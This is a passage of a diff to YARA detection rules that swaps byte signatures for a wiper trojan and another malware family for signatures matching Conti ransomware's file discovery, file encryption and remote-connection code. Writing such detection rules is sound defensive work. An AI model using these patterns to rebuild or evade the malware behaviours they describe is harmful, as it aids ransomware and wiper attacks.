85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 8B 95 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 59 8B D0 C6 45 ?? ?? 8B 4A + ?? 8B 7A ?? 2B CF 39 4E ?? 76 ?? 8B 46 ?? 2B 46 ?? 3B C7 72 ?? 83 7A ?? ?? 72 ?? 8B + 12 57 52 51 8B CE E8 ?? ?? ?? ?? EB ?? 56 8B CA E8 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? + ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 45 ?? FF B5 ?? ?? ?? ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 45 ?? 0F 43 4D ?? 8D 04 41 8D 4D ?? 0F 43 4D + ?? 51 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 7D + ?? 8B 9D ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 83 7D ?? ?? 8B 45 ?? 0F 43 7D ?? 89 8D ?? + ?? ?? ?? 3B D8 77 ?? 85 DB 75 ?? 8B F3 EB ?? 0F BE 09 2B C3 40 89 8D ?? ?? ?? ?? 03 } - $liblzf_decompression_1 = { - 83 EC ?? 8B 44 24 ?? 53 55 8D 2C 11 89 4C 24 ?? 8B 54 24 ?? 33 DB 03 C2 89 6C 24 ?? - 56 89 44 24 ?? 0F B6 41 ?? 8D 72 ?? 0F B6 11 C1 E2 ?? 0B D0 8D 45 ?? 89 44 24 ?? 57 - 8B F9 3B C8 0F 83 ?? ?? ?? ?? 0F B6 47 ?? C1 E2 ?? 0B D0 6B C2 ?? 8B CA C1 E9 ?? 33 - CA 89 54 24 ?? 8B 54 24 ?? C1 E9 ?? 2B C8 8B 44 24 ?? 81 E1 ?? ?? ?? ?? 8B 2C 88 8B - C7 2B 44 24 ?? 03 6C 24 ?? 89 04 8A 8B C7 8B 54 24 ?? 2B C5 48 89 44 24 ?? 3D ?? ?? - ?? ?? 0F 8D ?? ?? ?? ?? 3B EA 0F 86 ?? ?? ?? ?? 8A 45 ?? 3A 47 ?? 0F 85 ?? ?? ?? ?? - 0F B6 55 ?? 8D 4F ?? 0F B6 45 ?? 89 4C 24 ?? 0F B6 09 C1 E2 ?? 0B D0 C1 E1 ?? 0F B6 - 07 0B C8 3B D1 0F 85 ?? ?? ?? ?? 8B 44 24 ?? B9 ?? ?? ?? ?? 2B C7 3B C1 6A ?? 0F 47 - C1 89 44 24 ?? 8D 46 ?? 5A 3B 44 24 ?? 72 ?? 33 C9 8B C6 85 DB 0F 94 C1 2B C1 83 C0 - ?? 3B 44 24 ?? 0F 83 ?? ?? ?? ?? 8B C6 8D 4B ?? 2B C3 88 48 ?? 33 C0 85 DB 8B 5C 24 - ?? 0F 94 C0 2B F0 83 FB ?? 0F 86 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? - ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 - ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 + $find_files_p2 = { + C7 89 85 ?? ?? ?? ?? 2B C7 50 51 57 EB ?? 53 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 46 2B C6 50 FF B5 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 8B F0 83 C4 ?? 85 F6 75 ?? 83 CE ?? 33 DB 56 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 89 5D ?? 50 8D 4D ?? 89 5D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 7D ?? 83 7D ?? ?? 8B 55 ?? 0F 43 7D ?? 85 D2 74 ?? + 83 C9 ?? 8D 42 ?? 3B C1 0F 42 C8 03 CF EB ?? 2B F7 EB ?? 3B CF 74 ?? 49 80 39 ?? 75 + ?? 2B CF EB ?? 83 C9 ?? 83 F9 ?? 0F 84 ?? ?? ?? ?? 8D 79 ?? 89 5D ?? C7 45 ?? ?? ?? + ?? ?? 88 5D ?? 3B D7 0F 82 ?? ?? ?? ?? 2B D7 8D 45 ?? 83 C9 ?? 83 FA ?? 0F 42 CA 83 + 7D ?? ?? 51 0F 43 45 ?? 8D 4D ?? 03 C7 50 E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8B CC + 8D 45 ?? 50 89 59 ?? 89 59 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 51 51 8D 45 ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 8B 78 ?? 03 38 3B FB 7D ?? 81 FE ?? ?? ?? ?? 76 ?? 8D } - $liblzf_decompression_2 = { - 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 0F 85 ?? ?? ?? ?? 8A 45 ?? 6A ?? 5A 3A - 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 - ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 - ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? - 6A ?? 5A 3A 47 ?? 75 ?? 8A 45 ?? 6A ?? 5A 3A 47 ?? 75 ?? 8D 0C 3A 2B EF 42 41 3B D3 - 73 ?? 8A 04 29 3A 01 74 ?? 8B 5C 24 ?? 83 EA ?? 83 FA ?? 73 ?? 8B CB 8A C2 C1 F9 ?? - C0 E0 ?? 02 C8 88 0E 46 EB ?? 8B C3 C1 F8 ?? 2C ?? 88 06 8D 42 ?? 88 46 ?? 83 C6 ?? - 8B 7C 24 ?? 8B 44 24 ?? 47 88 1E 03 FA 33 DB 83 C6 ?? 3B F8 72 ?? 8B 6C 24 ?? 8D 46 - ?? 3B 44 24 ?? 76 ?? 33 C0 EB ?? 3B 74 24 ?? 73 ?? 8A 07 43 88 06 46 8B 44 24 ?? 47 - 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B F8 73 ?? 8B 54 24 ?? E9 ?? ?? ?? ?? 8A 07 43 - 88 06 46 47 83 FB ?? 75 ?? C6 46 ?? ?? 33 DB 46 3B FD 72 ?? 8B CE 8D 53 ?? 2B CB 88 - 51 ?? 33 C9 85 DB 0F 94 C1 2B F1 2B 74 24 ?? 8B C6 5F 5E 5D 5B 83 C4 ?? C3 + $find_files_p3 = { + 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 3B FB 7D ?? 81 FE ?? ?? ?? ?? + 76 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D + ?? 8D 04 41 50 51 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? C6 45 + ?? ?? 56 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? + ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? C6 45 ?? ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? + ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 51 0F 43 45 ?? 51 50 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 56 BA ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 04 24 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 } - $decrypt_resource_snippet_v7 = { - C1 EE ?? 3B F9 0F 47 F0 85 F6 74 ?? 8B 5C 24 ?? 8B 0F 8D 7F ?? 33 CB 0F B6 C1 66 89 - 02 8B C1 C1 E8 ?? 8D 52 ?? 0F B6 C0 66 89 42 ?? C1 E9 ?? 0F B6 C1 C1 E9 ?? 45 66 89 - 42 ?? 0F B6 C1 66 89 42 ?? 3B EE 72 ?? 8B 5C 24 ?? 8B 44 24 ?? 33 C9 5D 66 89 0C 43 - 5F 5E 8B C3 5B 83 C4 ?? C3 + $find_files_p4 = { + 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B C8 C6 45 ?? ?? E8 ?? ?? ?? ?? 50 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 45 + ?? 8D 4D ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45 ?? ?? EB ?? 50 8D 4D ?? E8 + ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 9D ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? + ?? ?? ?? 8B 7D ?? 8B 75 ?? 6A ?? 5B 3B F7 74 ?? 56 E8 ?? ?? ?? ?? 03 F3 59 3B F7 75 + ?? 8B 7D ?? 8B 75 ?? 85 F6 74 ?? 3B F7 74 ?? 8B CE E8 ?? ?? ?? ?? 03 F3 3B F7 75 ?? + 8B 75 ?? 8B 45 ?? 2B C6 99 F7 FB 6B C0 ?? 50 56 E8 ?? ?? ?? ?? 59 59 8D 4D ?? E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 } - $state_machine_snippet_v7 = { - 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B - 94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 54 24 ?? - 8B 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 94 - 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 74 24 - ?? 8B F0 FF B4 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? F7 DE 8B 94 24 ?? ?? ?? ?? 1B F6 - 81 E6 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? FF B4 24 ?? - ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 + $encrypt_files = { + 8B FF 55 8B EC 57 FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 8B F8 8B 49 ?? 90 F6 C1 ?? 75 + ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? E9 + ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? 90 C1 E8 ?? A8 ?? 74 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? + ?? EB ?? 8B 45 ?? 8B 40 ?? 90 A8 ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 8B 4D ?? 83 61 + ?? ?? 84 C0 8B 45 ?? 74 ?? 8B 48 ?? 89 08 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 + ?? 53 6A ?? 5B 83 C0 ?? F0 09 18 8B 45 ?? 6A ?? 59 83 C0 ?? F0 21 08 8B 45 ?? 83 60 + ?? ?? 8B 45 ?? 8B 40 ?? 90 A9 ?? ?? ?? ?? 75 ?? 56 8B 75 ?? 6A ?? E8 ?? ?? ?? ?? 59 + 3B F0 74 ?? 8B 75 ?? 53 E8 ?? ?? ?? ?? 59 3B F0 75 ?? 57 E8 ?? ?? ?? ?? 59 85 C0 75 + ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5E FF 75 ?? 8B 5D ?? 53 E8 ?? ?? ?? ?? 59 59 84 C0 75 + ?? 8B 45 ?? 6A ?? 59 83 C0 ?? F0 09 08 83 C8 ?? EB ?? 0F B6 C3 5B 5F 5D C3 } condition: - uint16( 0 ) == 0x5A4D and ( $decrypt_resource_v1 and $generate_filename_v1 ) or ( $decrypt_resource_v2 and $generate_filename_v2 ) or ( $decrypt_resource_v3 and $generate_filename_v3 ) or ( $decrypt_resource_v4 and $generate_filename_snippet_v4 ) or ( $decrypt_resource_snippet_v5 and all of ( $liblzf_decompression_* ) ) or ( $decrypt_resource_snippet_v6 and all of ( $liblzf_decompression_* ) ) or ( $decrypt_resource_snippet_v7 and $state_machine_snippet_v7 ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Linux_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Conti : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects BiBiWiper trojan." + description = "Yara rule that detects Conti ransomware." author = "ReversingLabs" - id = "c370dde0-71ff-5832-b131-6d61beb02b9b" - date = "2023-11-28" - modified = "2023-11-28" + id = "548b8836-83cb-560c-af5f-33bdb24d15ed" + date = "2020-12-14" + modified = "2020-12-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Linux.Trojan.BiBiWiper.yara#L1-L76" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Conti.yara#L1-L74" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8f290141d5da660463dede6df571d774448e136e2993a0a4c706245464e1239e" + logic_hash = "4f2b96c8eaf8d112a7bb60647db49616935a336396c705d39d5bb51dfd90c60b" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "BiBiWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "Conti" tc_detection_factor = 5 importance = 25 strings: - $destroy_files_p1 = { - 55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89 - 95 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 44 89 8D ?? ?? ?? ?? 48 8B - 05 ?? ?? ?? ?? 48 83 C0 ?? 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 BA ?? ?? ?? - ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 89 D0 48 C1 F8 ?? 48 89 CA 48 C1 FA ?? 48 29 D0 - 48 69 D0 ?? ?? ?? ?? 48 89 C8 48 29 D0 48 85 C0 0F 94 C0 84 C0 74 ?? E8 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 - D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? - ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 CE 48 89 C7 - E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89 - CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? - ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D - 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? - 48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? - ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 - 89 C3 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? - ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8 + $find_files = { + 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 56 57 8B D9 53 FF 15 ?? ?? ?? ?? 89 44 24 ?? + 8D 0C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 44 + 24 ?? B9 ?? ?? ?? ?? 53 BE ?? ?? ?? ?? 57 66 83 7C 43 ?? ?? 0F 45 F1 FF 15 ?? ?? ?? + ?? 56 57 FF 15 ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? + 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? + ?? ?? ?? F6 44 24 ?? ?? 74 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B + CB E8 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B CE E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? EB ?? + 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 54 24 ?? 8B CB E8 ?? ?? ?? ?? 8B F0 85 F6 + 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 5A 8B C8 C6 01 ?? 41 + 83 EA ?? 75 ?? 83 48 ?? ?? 50 89 70 ?? A1 ?? ?? ?? ?? 52 6A ?? FF 70 ?? FF 15 ?? ?? + ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 4C 24 ?? E8 ?? + ?? ?? ?? 83 FF ?? 74 ?? 57 FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 } - $destroy_files_p2 = { - 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? - ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C1 E0 ?? 48 89 45 ?? 48 8B B5 ?? ?? ?? ?? 48 8B 85 ?? - ?? ?? ?? BA ?? ?? ?? ?? 48 F7 F6 48 8B 55 ?? 48 29 D0 48 89 45 ?? 83 BD ?? ?? ?? ?? - ?? 7E ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 48 98 48 0F AF 45 ?? BA ?? ?? ?? ?? 48 F7 B5 ?? - ?? ?? ?? 48 89 D0 48 89 C1 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 - ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? - ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 39 - 85 ?? ?? ?? ?? 73 ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? - 48 29 D0 48 89 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89 - C7 E8 ?? ?? ?? ?? 48 8B 00 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 - ?? 48 8B 45 ?? 89 C2 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 5D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 + $encrypt_files_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BB ?? ?? ?? ?? 8B F9 53 57 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + A1 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 75 ?? 33 F6 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 5D ?? FF 74 B5 ?? 57 FF 15 ?? ?? ?? + ?? 85 C0 75 ?? 46 83 FE ?? 7C ?? 33 C0 40 EB ?? 85 C0 75 ?? 8B 35 ?? ?? ?? ?? BB ?? + ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 53 56 FF 15 ?? + ?? ?? ?? 85 C0 74 ?? 2B C6 D1 F8 74 ?? 85 C0 78 ?? 40 50 56 8D 85 ?? ?? ?? ?? 50 FF + 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 53 56 FF 15 ?? + ?? ?? ?? 8B F0 85 F6 74 ?? 83 C6 ?? EB ?? 33 C0 5F 5E 5B C9 C3 } - $destroy_files_p3 = { - 89 C7 48 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 85 - ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 C2 48 - 8B 45 ?? 48 01 D0 48 39 85 ?? ?? ?? ?? 73 ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 29 - D0 48 8B 55 ?? 48 29 D0 48 89 45 ?? 48 83 7D ?? ?? 7E ?? 48 8B 4D ?? 48 8B 85 ?? ?? - ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 48 98 48 - 39 85 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? EB ?? 90 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 - 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? 83 FB ?? E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 - ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 - C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 - 89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 - C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? - 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? - ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 8B 5D ?? C9 C3 + $encrypt_files_p2 = { + 55 8B EC 83 EC ?? 53 56 57 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 DB 53 FF 15 ?? ?? + ?? ?? 8B F8 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5E 56 68 ?? ?? ?? + ?? 53 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 + 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 + ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 53 8D 45 ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 53 53 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 6A + ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 8B 45 ?? FF 70 ?? FF 15 ?? ?? ?? ?? 85 C0 75 + ?? 